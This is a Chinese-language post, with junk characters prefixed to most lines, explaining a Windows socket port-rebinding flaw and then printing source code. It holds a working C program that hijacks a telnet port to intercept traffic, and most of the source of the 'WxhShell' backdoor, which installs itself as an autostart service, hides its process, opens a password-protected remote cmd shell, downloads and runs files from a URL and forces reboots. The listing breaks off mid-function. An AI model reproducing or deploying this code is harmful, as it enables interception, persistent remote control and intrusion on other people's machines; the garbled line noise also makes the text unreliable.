在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
j]mnH`#BL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_0ZBG( 2P=~6( saddr.sin_family = AF_INET;
d\c)cgh% y M-k]_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P*ZMbAf. 4`o<e)c3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
u2[L^]| S
C}@eA' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
PH^Gjm g`2Oh5dA 这意味着什么?意味着可以进行如下的攻击:
iG=Di)O #\K"FE0PGz 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{lppv(U BJg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
h$6~3^g:P Z@>kqJ% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
hL}ZPHA rJRg4Rog 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
&Du S* xm=$D6O: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"];@N!dA fILvEf4b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Pl2eDv-y -]n%+,3L
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h7o.RRhK M7&G9SGZ #include
T)ISDK4>S" #include
5/CF_v #include
Ua=r24fy #include
mwI7[I2q DWORD WINAPI ClientThread(LPVOID lpParam);
n@q-f-2 int main()
>Ml5QO$*.q {
2Je]dj4 WORD wVersionRequested;
3od16{YH DWORD ret;
1i)3!fH0:
WSADATA wsaData;
ki1j~q BOOL val;
&H+n0v SOCKADDR_IN saddr;
' d?6 L SOCKADDR_IN scaddr;
7lKatk+7K int err;
"I9 r>= SOCKET s;
~mMTfC~9 SOCKET sc;
K5jeazasp int caddsize;
8yH)9#>
HANDLE mt;
3iL\<^d*ht DWORD tid;
!?+q7U wVersionRequested = MAKEWORD( 2, 2 );
IcGX~zWr err = WSAStartup( wVersionRequested, &wsaData );
E\p"% if ( err != 0 ) {
=+q\Jh printf("error!WSAStartup failed!\n");
j5]ul!ji return -1;
Y4_xV& }
/?Mr2!3N saddr.sin_family = AF_INET;
YhC|hDC l@-h.tS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(=EDqAZg >vO+k^'Y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
JZ&_1~Z= saddr.sin_port = htons(23);
aeAx0yE[p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cL~YQJYp {
^6LnB#C& printf("error!socket failed!\n");
.*.eY?,V return -1;
sH >zsc }
rUAt`ykTmN val = TRUE;
m
-hZ5i //SO_REUSEADDR选项就是可以实现端口重绑定的
8%xBSob{j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1-&L-c. {
fc[_~I' printf("error!setsockopt failed!\n");
8B5WbS fL^ return -1;
a#& ( i }
MX.?tN#F|H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
D_)/.m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
18Ju]U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;y50t$0
7?y7fwER if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
LhM$!o?W {
(mKH,r ret=GetLastError();
*;~u 5y2b printf("error!bind failed!\n");
U=U5EdN; return -1;
AYpvGl' }
(oG.A listen(s,2);
j-DWz>x while(1)
tV>qV\> {
N]6t)Zv caddsize = sizeof(scaddr);
-|>T?
t'K //接受连接请求
EbVva{;#$; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i"
)_Xb_1 if(sc!=INVALID_SOCKET)
nj0]c`6rN@ {
siT`O
z|, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
G#^0Bh& if(mt==NULL)
kRBO] {
=;b3i1'U printf("Thread Creat Failed!\n");
qd#7A ksm break;
,VSO;:Z }
c"pOi& }
Mw)6,O` CloseHandle(mt);
cUdS{K&K }
J_m@YkK closesocket(s);
dM P'Vnfj WSACleanup();
GG +T- return 0;
n${k^e-= }
r\Yh'cRW{ DWORD WINAPI ClientThread(LPVOID lpParam)
KLE)+| {
\iP@|ay9 SOCKET ss = (SOCKET)lpParam;
Ym!e}`A\F SOCKET sc;
Eh|,[D!E unsigned char buf[4096];
BenyA:W" SOCKADDR_IN saddr;
XoL DqN! long num;
I~@8SSO,vH DWORD val;
Z@f{f:Jc/" DWORD ret;
gq/Za/!6 //如果是隐藏端口应用的话,可以在此处加一些判断
b78~{ht` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(/,l0 saddr.sin_family = AF_INET;
slUi)@b saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-B&(&R saddr.sin_port = htons(23);
gZ7R^]
k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UxzF5V5 {
2Q5 @2jT printf("error!socket failed!\n");
Hbd>sS return -1;
w`V6vYd@ }
.R'M'a#*!A val = 100;
hqmE]hwc if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`[U.BVP' {
#8yo9g6 ret = GetLastError();
J p+'"a return -1;
NRx I?v }
-)VjjKz]8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Lhe& {
{uoF5|O6K ret = GetLastError();
s.Ai_D return -1;
6$'*MpYF4 }
5)eM0,: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
v$Hz)J.01 {
zyUS$g]& printf("error!socket connect failed!\n");
MGt>:&s(] closesocket(sc);
#
#2'QNN closesocket(ss);
ck5cO-1>6 return -1;
c@3 5\!9 }
[|=M<>?[ while(1)
=DDKGy.g {
?4Rd4sIM$u //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wlaPE8Gc //如果是嗅探内容的话,可以再此处进行内容分析和记录
!*NDsC9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/UK]lP^w]! num = recv(ss,buf,4096,0);
C&MqH.K if(num>0)
dS4z Oz" send(sc,buf,num,0);
)H{1Xjh- else if(num==0)
tHZ"o!(S break;
Zr2!}jD9a num = recv(sc,buf,4096,0);
X.k8w\~ if(num>0)
]rH[+t- send(ss,buf,num,0);
?X@[ibH6 else if(num==0)
H?J:_1 break;
_#6Qf }
h\w;SDwOk closesocket(ss);
,)#rD9ZnC closesocket(sc);
MK)}zjw return 0 ;
1BU97!
}
5)lcgvp 1p$(\ "8ellKh ==========================================================
kaB|+U9^ h%ys::\zF 下边附上一个代码,,WXhSHELL
]h(Iun Td'(RV ==========================================================
}RI_k&; rxu_Ssd@" #include "stdafx.h"
C1=&Vm>g+ jgIG";:Q #include <stdio.h>
m{ !$_z8: #include <string.h>
zdRVAcrwQ #include <windows.h>
tJrGRlB> #include <winsock2.h>
4=Ru{ewRV #include <winsvc.h>
xL"J?Gy #include <urlmon.h>
~44u_^a az0=jou<Zl #pragma comment (lib, "Ws2_32.lib")
aH'fAX0bF #pragma comment (lib, "urlmon.lib")
9]oT/ooM BoYY^ih #define MAX_USER 100 // 最大客户端连接数
v7wyQx+Q #define BUF_SOCK 200 // sock buffer
;WX.D]>{W #define KEY_BUFF 255 // 输入 buffer
*$fM}6} [1P_^.Htr #define REBOOT 0 // 重启
'WP~-}( #define SHUTDOWN 1 // 关机
&AJkYh B?=R= p #define DEF_PORT 5000 // 监听端口
F{E@snc W6NhJ#M7 #define REG_LEN 16 // 注册表键长度
f^B8!EY#: #define SVC_LEN 80 // NT服务名长度
*af\U3kx G&{yM2:E // 从dll定义API
p7;K] AW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
@gK`RmhGE5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@M4c/k} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
y1%OH#:duD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Q:megU'u }
u;{38~ // wxhshell配置信息
-EP1Rl`\ struct WSCFG {
M*gvYo int ws_port; // 监听端口
ue@/o,C> char ws_passstr[REG_LEN]; // 口令
9S@x int ws_autoins; // 安装标记, 1=yes 0=no
C78g|n{ char ws_regname[REG_LEN]; // 注册表键名
|nx3x char ws_svcname[REG_LEN]; // 服务名
xz!0BG char ws_svcdisp[SVC_LEN]; // 服务显示名
w)+1^eW char ws_svcdesc[SVC_LEN]; // 服务描述信息
xB Wl|j char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e72Fz#<q int ws_downexe; // 下载执行标记, 1=yes 0=no
63=&??4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p;}`PW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$`3yImv+w Z%3CmKdeF };
9m$"B*&6G
V4V`0I // default Wxhshell configuration
M11\Di1 struct WSCFG wscfg={DEF_PORT,
xn2 nh@; "xuhuanlingzhe",
vkTu:3Qe 1,
4uOR=+/l "Wxhshell",
|JIlp"[ "Wxhshell",
ZL<X*l2 "WxhShell Service",
F8-GnTxa "Wrsky Windows CmdShell Service",
SED52$zA "Please Input Your Password: ",
Wn@oG@}~ 1,
5WHz_'c
"
http://www.wrsky.com/wxhshell.exe",
zU&Iy_Ke. "Wxhshell.exe"
qSr]d`7@ };
giNXXjl J\*uW|=F // 消息定义模块
_F6<ba}o3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1!MJ+?Jl char *msg_ws_prompt="\n\r? for help\n\r#>";
f)T\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>o1dc* char *msg_ws_ext="\n\rExit.";
@`L;_S+ char *msg_ws_end="\n\rQuit.";
:VlA2Ih&q char *msg_ws_boot="\n\rReboot...";
q"2APvsvp char *msg_ws_poff="\n\rShutdown...";
1cOR?=G~ char *msg_ws_down="\n\rSave to ";
Pq [_(Nt DfAF-Yhut char *msg_ws_err="\n\rErr!";
2.%)OC!q&5 char *msg_ws_ok="\n\rOK!";
tJ;qZyy( zni9 char ExeFile[MAX_PATH];
pV ^+X} int nUser = 0;
ZMgsuzg HANDLE handles[MAX_USER];
5`p9Xo>)yW int OsIsNt;
yR>P 1(BLdP3& SERVICE_STATUS serviceStatus;
g]vB\5uA: SERVICE_STATUS_HANDLE hServiceStatusHandle;
K{DC{yLu N=1ue`i // 函数声明
ZEI)U,
I. int Install(void);
C5dM`_3L int Uninstall(void);
c%pf,sm' int DownloadFile(char *sURL, SOCKET wsh);
$~FZJ@qa int Boot(int flag);
Hj{.{V void HideProc(void);
&!/>B . int GetOsVer(void);
t~o"x . int Wxhshell(SOCKET wsl);
.ifz9jM' void TalkWithClient(void *cs);
&B(z**+9 int CmdShell(SOCKET sock);
"
7^nRJy int StartFromService(void);
r=n{3o+ int StartWxhshell(LPSTR lpCmdLine);
7o+L ' J@J$#6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>(a35 b$ VOID WINAPI NTServiceHandler( DWORD fdwControl );
n3~axRPO GoybkwFjZ // 数据结构和表定义
w~6UOA8} SERVICE_TABLE_ENTRY DispatchTable[] =
g0zzDv7~ {
Mrrpm%Y {wscfg.ws_svcname, NTServiceMain},
sr;&/l#7h {NULL, NULL}
>ZOlSLu };
5m~9Vl-& $XQgat@&] // 自我安装
\09A"fs{ int Install(void)
fVn4=d6X {
06Wqfzceb char svExeFile[MAX_PATH];
$4g{4-) HKEY key;
o^2MfFS strcpy(svExeFile,ExeFile);
ZXb|3|D TbD // 如果是win9x系统,修改注册表设为自启动
=8 @DYz' if(!OsIsNt) {
N[W#wYbH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0C :8X
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=|i_T%a RegCloseKey(key);
%htI!b+"@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3*</vo#` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C+**!uYIB RegCloseKey(key);
]F+|C return 0;
i,;JI>U }
qa^cJ1@ }
Kc\8GkdB }
nIg 88*6b, else {
+w]#26`d Cik1~5iF // 如果是NT以上系统,安装为系统服务
X,w X)9]J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}BC%(ZH6 if (schSCManager!=0)
*w@1@6?j {
yx|iZhK0:} SC_HANDLE schService = CreateService
.hx(9 (
E\/[hT schSCManager,
#[jS&rr( wscfg.ws_svcname,
4x)vy-y wscfg.ws_svcdisp,
PI*@.kqR- SERVICE_ALL_ACCESS,
MuD
? KK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
phH@{mI SERVICE_AUTO_START,
sA?8i:]O: SERVICE_ERROR_NORMAL,
iKo2bC:.& svExeFile,
."ZG0Zg NULL,
k'O.1 NULL,
QtnNc!,n NULL,
[voZ=+/ NULL,
~Fh+y+g? NULL
b_ TI_ );
F62 uDyY if (schService!=0)
RWR{jM]V {
5?$MZaT CloseServiceHandle(schService);
_R ]s1 CloseServiceHandle(schSCManager);
&7\}Sqp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wIi(\]Q strcat(svExeFile,wscfg.ws_svcname);
Dazm8_x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
s\ C ,5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
NC~?4F[ RegCloseKey(key);
=i vlS return 0;
B<EqzP*# }
]+Whv%M }
~!Sd|e:4 CloseServiceHandle(schSCManager);
2*75*EQCH }
+TqrvI. }
.;7V]B1o GU>j8. return 1;
gamB]FPZ }
s\mA3t 8:& !F`o // 自我卸载
:dW\Q&iW int Uninstall(void)
LA;f,CQ {
2!-Q!c`y HKEY key;
c#{|sR5 0M;g&&mF if(!OsIsNt) {
>s/_B//[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[;ZCq!)> RegDeleteValue(key,wscfg.ws_regname);
s]99'Q", RegCloseKey(key);
.9x*YS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pZS]i
" RegDeleteValue(key,wscfg.ws_regname);
-crMO57/ RegCloseKey(key);
3r+c&^ return 0;
/b>xQ.G }
Ph
P)|P }
~4+Y BN }
'sIne> else {
8WV5'cX 2?7ID~\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
K@=u F1? if (schSCManager!=0)
pv0|6X?J" {
}+m4(lpl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Ydrh+ if (schService!=0)
2 %fcDEG/ {
>/\TG8t,f if(DeleteService(schService)!=0) {
Crc6wmp CloseServiceHandle(schService);
NTq_"`JjZ CloseServiceHandle(schSCManager);
s~Ivq+ipr; return 0;
k-jFT3b$ }
S6M7^_B4F CloseServiceHandle(schService);
^&&Wv'7XQ }
yFk|8d-| CloseServiceHandle(schSCManager);
_k]R6V: }
R5e[cC8o. }
<VD7(j]'^ C<teZz8/w return 1;
fSd|6iFH }
\h'7[vkr =b*GV6b // 从指定url下载文件
h'S0XU
; int DownloadFile(char *sURL, SOCKET wsh)
TP#Ncqh {
ZgEV-.>P HRESULT hr;
=LLpJ+ char seps[]= "/";
V/xXW= char *token;
69$R. char *file;
ZhCd** char myURL[MAX_PATH];
90uXJyW;d char myFILE[MAX_PATH];
! xM=7Q
k 4J[zNB] strcpy(myURL,sURL);
v`mB82s token=strtok(myURL,seps);
7ucm1 while(token!=NULL)
Mhn1-ma: {
@$kO7k0{g file=token;
\2+ngq) token=strtok(NULL,seps);
CRCy)AS,t }
uq[5 om" iC
hIW/H GetCurrentDirectory(MAX_PATH,myFILE);
wg[
+NWJ strcat(myFILE, "\\");
L
*\[;.mk strcat(myFILE, file);
9j^rFG!n send(wsh,myFILE,strlen(myFILE),0);
CC^]Y.9 send(wsh,"...",3,0);
9LPXhxNwB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>y8>OJ?A7- if(hr==S_OK)
@nwVl8 return 0;
G?v<-=I else
!D1#3?L return 1;
L44|/~ ~6t<`&f }
7l-MVn_8 =U~53Tg // 系统电源模块
hwUb(pZ int Boot(int flag)
,k_ b-/ {
<=_!8A HANDLE hToken;
e}5x6t TOKEN_PRIVILEGES tkp;
~*3Si(4l/ ~Qif-|[V if(OsIsNt) {
qPz_PRje OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
qGN>a[D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*>?N>f" tkp.PrivilegeCount = 1;
4P?`<K' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M^\`~{*T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1E!.E=Y?M if(flag==REBOOT) {
ylos6]zS8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
GKEOjaE return 0;
z l`m1k-X }
,#BD/dF else {
sKW~+] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{9;-5@b return 0;
*6<4ECa7C }
).GM0-y }
TR*vZzoy else {
lE%KzX?& if(flag==REBOOT) {
H/`@6, j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
A-m IWTa return 0;
3%r/w7Fc }
@Oz3A<M else {
P=}dR&gk' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!/H ` return 0;
Jm)7!W%3 }
5h Sd,#: }
wvisu\V o3Yb2Nw return 1;
~Fo2M wE2~ }
:''Swi<H #ZP F&u" // win9x进程隐藏模块
?`Mk$Y%my void HideProc(void)
P//nYPyzg {
/ho7~C+H*e ze9n}oN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1Hhr6T^) if ( hKernel != NULL )
]qZj@0#7n {
wAu]U6! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
e]>=;Zn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
T1RY1hb|g> FreeLibrary(hKernel);
WoNJF6=? }
@6|0H`kv ^o>WCU = return;
CD#U`jf }
CUc , RWu<
dY#ym // 获取操作系统版本
I4ZbMnO int GetOsVer(void)
6^jrv [d {
HC/a OSVERSIONINFO winfo;
-;8 a* F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
OhaoLmA}6 GetVersionEx(&winfo);
B
k\KG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
KCbOO8cQS return 1;
('uUf!h?\ else
P!j*4t return 0;
(I;81h`1G }
QCDica `+* *
#z@b // 客户端句柄模块
+7lr#AvU/ int Wxhshell(SOCKET wsl)
dR>$vbjh1Z {
gyy}-^`F SOCKET wsh;
9' H\- struct sockaddr_in client;
W:WRG8(F DWORD myID;
3 %r*~#nz 45Zh8 k while(nUser<MAX_USER)
o&k,aCQC {
*yZta:(w-W int nSize=sizeof(client);
>}0H5Q8@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{@x-T if(wsh==INVALID_SOCKET) return 1;
|V}tTx1 ?qHQ#0 @y] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=<#++;!I
if(handles[nUser]==0)
S}Z@g closesocket(wsh);
l.;^w else
*GhV1# < nUser++;
FW3E UC)P }
Xfb-<
Q0A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
i8cmT+}> U"UsQYa_ return 0;
@kT@IQkri }
i-WP#\s k $ SMQ6 // 关闭 socket
v3n
T@ra' void CloseIt(SOCKET wsh)
G:|]w,^i {
8WQc8 closesocket(wsh);
pfl^GgP# nUser--;
XfIsf9 ExitThread(0);
RMs8aZCa }
KdTWi;mV2- l]R7A_| // 客户端请求句柄
!xg10N}I void TalkWithClient(void *cs)
wLfH/J {
*[jq& +>Y]1IlI SOCKET wsh=(SOCKET)cs;
\|]+sQ WQ char pwd[SVC_LEN];
6I_4{ char cmd[KEY_BUFF];
l8%BRG char chr[1];
0,#n_" int i,j;
a>Aq/= c&<Ei1 while (nUser < MAX_USER) {
d[H`Fe6h K1;b4Sl?A if(wscfg.ws_passstr) {
)*.rl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8{&.[SC7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/
U~yYh //ZeroMemory(pwd,KEY_BUFF);
&u<%%b| i=0;
@o<B>$tbu4 while(i<SVC_LEN) {
PCH$)F4^ zqXDD; w3 // 设置超时
)C0Iy.N- fd_set FdRead;
7~N4~KAUS struct timeval TimeOut;
(2 hI FD_ZERO(&FdRead);
olHmRJ FD_SET(wsh,&FdRead);
p gv, Su TimeOut.tv_sec=8;
%82:?fq TimeOut.tv_usec=0;
-0k{O@l" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
BuitM|k' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v(uNqX.BC !b$~Sm) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Iy4REP| pwd
=chr[0]; G8Ow;:Ro
if(chr[0]==0xd || chr[0]==0xa) { s,|v,,<+
pwd=0; ?2gXF0+~Y2
break; +t]Ge
>S
} )2jH&}K
i++; ?cK67|%W
} &!+1GI9z
|$GPJaNqa
// 如果是非法用户,关闭 socket BISH34
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S[l z>I
} P|;v >
g`6I, 6G
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4jVd
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =[TXH^.0
Q:ql~qew
while(1) { & TN.6Hm3
\~C/
ZeroMemory(cmd,KEY_BUFF); wj Kc!iB
`0 u)/s$
// 自动支持客户端 telnet标准 8SupoS
j=0; lI9|"^n7F
while(j<KEY_BUFF) { 4Le{|B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $?OQtz@
cmd[j]=chr[0]; qE6D"+1y7
if(chr[0]==0xa || chr[0]==0xd) { R@IwmJxX
cmd[j]=0; R0q|{5S
break; _( QW2m?K
} 7e)j|a-!<
j++; vU#>3[aC
} m9ky?A,
{J;(K~>?m
// 下载文件 ;_/!F}d
if(strstr(cmd,"http://")) { H[?l)nZ}
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v\=k[oOu
if(DownloadFile(cmd,wsh)) q9Lq+4\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h~Z:YY)4
else TH~"y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0"mr*hyj
} y@ c[S;
else { `mS0]/AV/
}%3i8e
switch(cmd[0]) { a0`(*#P
Ece=loV*l
// 帮助 %(r.`I$
case '?': { '*K%\]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =o[H2o
y
break; ERfSJ
} G~f|Sx
// 安装 'pT8S
case 'i': { l~x
6R~q
if(Install()) o"qG'\x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yk2XfY
else 1L4v X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X$SXDb~G
break; 4B-+DH>{6
} Fw%S%*B8g
// 卸载 e#ne 5
case 'r': { 1@q"rPE^
if(Uninstall()) fs,>X!l+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zy8D&7Ytf
else EV
R>R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |#22pq?RP
break; bKr73S9
} 0E^S!A7
// 显示 wxhshell 所在路径 wHs4~"EY9
case 'p': { @-O%u*%J
char svExeFile[MAX_PATH]; r3~YGY
strcpy(svExeFile,"\n\r"); =^w:G =ymS
strcat(svExeFile,ExeFile); v2vtkYQN
send(wsh,svExeFile,strlen(svExeFile),0); )yS S 2
break; L#MMNc+
} I5W#8g!{
// 重启 i(S}gH4*o
case 'b': { |1m2h]];Q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \*30E<;C_
if(Boot(REBOOT)) N{K[sXCW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :MF+`RpL
else { BHS8MV L@
closesocket(wsh); jB\Knxm v
ExitThread(0); S|_"~Nd=
} @[O|n)7
break; h?vt6t9
} |p*s:*TJp
// 关机 *,e`.
case 'd': { Gp1?drF6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BBj>ML\X
if(Boot(SHUTDOWN)) #$u7:p
[t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lR5k1J1n
else { Gi,4PD-ro
closesocket(wsh); <p#+('N`
ExitThread(0); !InC8+be
} et@<MU@`
break; Uq(fk9`6
} R(#ZaFuo[
// 获取shell ")3$. '5Dg
case 's': { ;Lk07+3G
CmdShell(wsh); 1m<8M[6u
closesocket(wsh); P u,JR
ExitThread(0); ZP"Xn/L
break; bfKF6
} uX+ YH
// 退出 1oL3y;>iL
case 'x': { B[r04YGh
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); otdm rw|
CloseIt(wsh); :+meaxbu
break; QJU\YH%}
} o|y1 m7X
// 离开 ZO]P9b
case 'q': { S.*LsrSV
send(wsh,msg_ws_end,strlen(msg_ws_end),0); nYy+5u]FG
closesocket(wsh); `5 MK(K
:
WSACleanup(); p4z
thdN[
exit(1); sQMfU{S /
break; vg*~t3{ L
} M^.>UZKyl
} y*#+:D]o*
} #:tC^7qk
REJHh\:.77
// 提示信息 5GDg_9Bz
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8_T9[]7V8
} =!DpW VsQ
} -BEd7@?A
O<y65#68Z
return; SL?YU(a
} .T#}3C/
E*d UJ.>
// shell模块句柄 #S"s8wdD
int CmdShell(SOCKET sock) \qtdbi|Y
{ !>EK
%OO
STARTUPINFO si; R ^@
ZeroMemory(&si,sizeof(si)); ?$ M:4mX
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H}gp`YW:4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jo:S*D
PROCESS_INFORMATION ProcessInfo; 6T%5<I*&3s
char cmdline[]="cmd"; ,z`* 1b8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); deCi\n
return 0; EAK[2?CY
} !k!1h%7q
|
&/_{T
// 自身启动模式 e;9x%kNs!
int StartFromService(void) Mt&n|']`8
{ @nIoIz
D~
typedef struct 8+8L'Yv;
{ z+<ofZ(.
DWORD ExitStatus; VUZeC,FfO
DWORD PebBaseAddress; O6Y1*XTmH6
DWORD AffinityMask; TEi1,yc
